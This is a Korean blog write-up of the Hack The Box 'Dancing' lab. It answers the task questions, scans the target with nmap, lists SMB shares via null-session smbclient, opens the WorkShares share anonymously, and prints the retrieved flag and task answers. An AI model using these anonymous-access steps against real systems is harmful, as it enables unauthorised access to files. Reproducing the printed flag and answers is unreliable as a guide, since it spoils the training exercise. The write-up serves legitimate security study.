▌ TRANSMISSION · [HTB]

[STARTING_POINT] Tier0 Dancing


Dancing

alt text

Task 1

  • 정답 및 풀이

    alt text

    구글에 smb 를 검색해보면, Server Message Block 의 약어임을 알 수 있습니다.

    • Server Message Block, SMB : 네트워크 상 존재하는 노드들 간에 자원을 공유할 수 있도록 설계된 프로토콜로, 주로 네트워크에 연결된 컴퓨터끼리 파일, 프린터, 포트 또는 기타 메시지를 전달하는데 사용됩니다.
      • 해당 프로토콜은 Windows OS에서 사용됩니다.
    • smb 접속 방법 (smbclient 사용)
      • 공유 목록 확인 ( -L )

        smbclient -L //<ip>
        • Windows 경로 표기 방식으로도 가능

          smbclient -L \\\\<ip>
      • 특정 공유 접속

        smbclient //<ip>/<share_name>
      • (자세한 건 Usage DB 확인…)

Task 2

  • 정답 및 풀이

    alt text

    구글에 smb default port 를 검색해보면, 445임을 알 수 있습니다. (139는 NetBIOS 환경에서 사용하는 포트입니다.)

    • Target Machine (Dancing) 에서도 확인해보기
    ┌──(m0nk3ygod㉿m0nk3ygod)-[~/Documents/openvpn/htb]
    └─$ sudo nmap 10.129.1.12     
    [sudo] password for m0nk3ygod: 
    Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-16 22:56 +0900
    Nmap scan report for 10.129.1.12
    Host is up (0.20s latency).
    Not shown: 995 closed tcp ports (reset)
    PORT     STATE    SERVICE
    135/tcp  open     msrpc
    139/tcp  open     netbios-ssn
    445/tcp  open     microsoft-ds
    5269/tcp filtered xmpp-server
    5985/tcp open     wsman
    
    Nmap done: 1 IP address (1 host up) scanned in 73.80 seconds

Task 3

  • 정답 및 풀이

    정답은 microsoft-ds 의 입니다.

    • nmap (사용 옵션 : -p 445 -sV )
      • -p [port1,port2,...] : 특정 포트 지정 스캔
    ┌──(m0nk3ygod㉿m0nk3ygod)-[~/Documents/openvpn/htb]
    └─$ sudo nmap 10.129.1.12 -p 445 -sV
    Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-16 22:59 +0900
    Nmap scan report for 10.129.1.12
    Host is up (0.20s latency).
    
    PORT    STATE SERVICE       VERSION
    445/tcp open  microsoft-ds?
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 18.90 seconds

Task 4

  • 정답 및 풀이

    정답은 -L 입니다.

    • smbclient 도움말 보기 (-?)
    ┌──(m0nk3ygod㉿m0nk3ygod)-[~/Documents/openvpn/htb]
    └─$ smbclient -?
    Usage: smbclient [OPTIONS] service <password>
      -M, --message=HOST                           Send message
      -I, --ip-address=IP                          Use this IP to connect to
      -E, --stderr                                 Write messages to stderr instead of stdout
      -L, --list=HOST                              Get a list of shares available on a host
    ...
    • 타겟 머신 공유 목록 확인
    ┌──(m0nk3ygod㉿m0nk3ygod)-[~/Documents/openvpn/htb]
    └─$ smbclient -L //10.129.1.12 -N
    
            Sharename       Type      Comment
            ---------       ----      -------
            ADMIN$          Disk      Remote Admin
            C$              Disk      Default share
            IPC$            IPC       Remote IPC
            WorkShares      Disk      
    Reconnecting with SMB1 for workgroup listing.
    do_connect: Connection to 10.129.1.12 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
    Unable to connect with SMB1 -- no workgroup available

    SMB 접속 시, -N 플래그를 이용하여 유저명과 패스워드가 없어도 접속이 가능했는데, 해당 기능을 Null Session 또는 anonymous login 이라고 합니다. (굉장히 취약)

Task 5

  • 정답 및 풀이

    정답은 4(개) 입니다.

    ┌──(m0nk3ygod㉿m0nk3ygod)-[~/Documents/openvpn/htb]
    └─$ smbclient -L //10.129.1.12 -N
    
            Sharename       Type      Comment
            ---------       ----      -------
            ADMIN$          Disk      Remote Admin
            C$              Disk      Default share
            IPC$            IPC       Remote IPC
            WorkShares      Disk      
    Reconnecting with SMB1 for workgroup listing.
    do_connect: Connection to 10.129.1.12 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
    Unable to connect with SMB1 -- no workgroup available
    • ADMIN$ , C$ , IPC$ , WorkShare 이렇게 총 4개입니다.

    공유 이름 끝에 붙은 $ 표기는 숨김 공유(hidden share)를 의미하며, browse 대상에서 숨김 처리된 공유 목록이 이와 같이 표기됩니다. 하지만 공유 이름을 정확히 알고 권한이 있다면 접근 가능합니다. 또한 ADMIN$ , C$ , IPC$ 는 관리자용인 경우가 많습니다.

Task 6

  • 정답 및 풀이

    정답은 임의로 만들어진 공유인 WorkShares 입니다.

    $ 이 없는 WorkShares는 관리자가 생성한 커스텀 공유라는 것을 유추할 수 있습니다.

    • 패스워드 없이 접속이 가능한지 시도
    smbclient //<ip>/WorkShares -N
    ┌──(m0nk3ygod㉿m0nk3ygod)-[~/Documents/openvpn/htb]
    └─$ smbclient //10.129.1.12/WorkShares -N
    Try "help" to get a list of possible commands.
    smb: \> 

    (접근 가능)

Task 7

  • 정답 및 풀이

    정답은 get 입니다.

    • smbclient로 접속하여 help 또는 ? 를 입력해보면 smb 에서 사용가능한 명령어들을 확인할 수 있습니다.
    smb: \> ?
    ?              allinfo        altname        archive        backup         
    blocksize      cancel         case_sensitive cd             chmod          
    chown          close          del            deltree        dir            
    du             echo           exit           get            getfacl        
    geteas         hardlink       help           history        iosize         
    lcd            link           lock           lowercase      ls             
    l              mask           md             mget           mkdir          
    mkfifo         more           mput           newer          notify         
    open           posix          posix_encrypt  posix_open     posix_mkdir    
    posix_rmdir    posix_unlink   posix_whoami   print          prompt         
    put            pwd            q              queue          quit           
    readlink       rd             recurse        reget          rename         
    reput          rm             rmdir          showacls       setea          
    setmode        scopy          stat           symlink        tar            
    tarmode        timeout        translate      unlock         volume         
    vuid           wdel           logon          listconnect    showconnect    
    tcon           tdis           tid            utimes         logoff         
    ..             !              

    이중에서 파일을 다운 받는 명령은 get 입니다.

    • 어떤 파일들이 있는지 확인 후, 필요한 파일 다운로드
      • ls

        smb: \> ls
          .                                   D        0  Mon Mar 29 17:22:01 2021
          ..                                  D        0  Mon Mar 29 17:22:01 2021
          Amy.J                               D        0  Mon Mar 29 18:08:24 2021
          James.P                             D        0  Thu Jun  3 17:38:03 2021
        
                        5114111 blocks of size 4096. 1753700 blocks available

        가운에 D 표기는 Directory 임을 의미합니다.

      • cd && ls

        smb: \> cd James.P
        smb: \James.P\> ls
          .                                   D        0  Thu Jun  3 17:38:03 2021
          ..                                  D        0  Thu Jun  3 17:38:03 2021
          flag.txt                            A       32  Mon Mar 29 18:26:57 2021
        
                        5114111 blocks of size 4096. 1753700 blocks available
      • get

        smb: \James.P\> get flag.txt
        getting file \James.P\flag.txt of size 32 as flag.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

Submit flag

  • 정답 및 풀이

    ┌──(m0nk3ygod㉿m0nk3ygod)-[~/Documents/openvpn/htb]
    └─$ cat flag.txt
    5f61c10dffbc77a704d76016a22f1664

    정답 : 5f61c10dffbc77a704d76016a22f1664


← ALL POSTS